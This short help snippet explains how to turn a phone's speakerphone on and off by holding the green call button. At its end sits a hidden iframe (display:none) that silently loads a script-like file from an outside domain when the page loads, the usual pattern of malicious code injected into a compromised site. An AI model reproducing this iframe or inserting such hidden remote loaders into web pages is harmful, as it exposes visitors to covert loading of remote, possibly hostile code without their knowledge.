How do I use the speaker phone?

To use the speaker phone, you press and hold the green call button. After a few seconds, you will get a message saying that the speaker phone has been enabled. To turn off the speaker phone, you just repeat the process. You can only enable the speaker phone during a call, however, you can enable it while the phone is dialing a number that you've entered.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>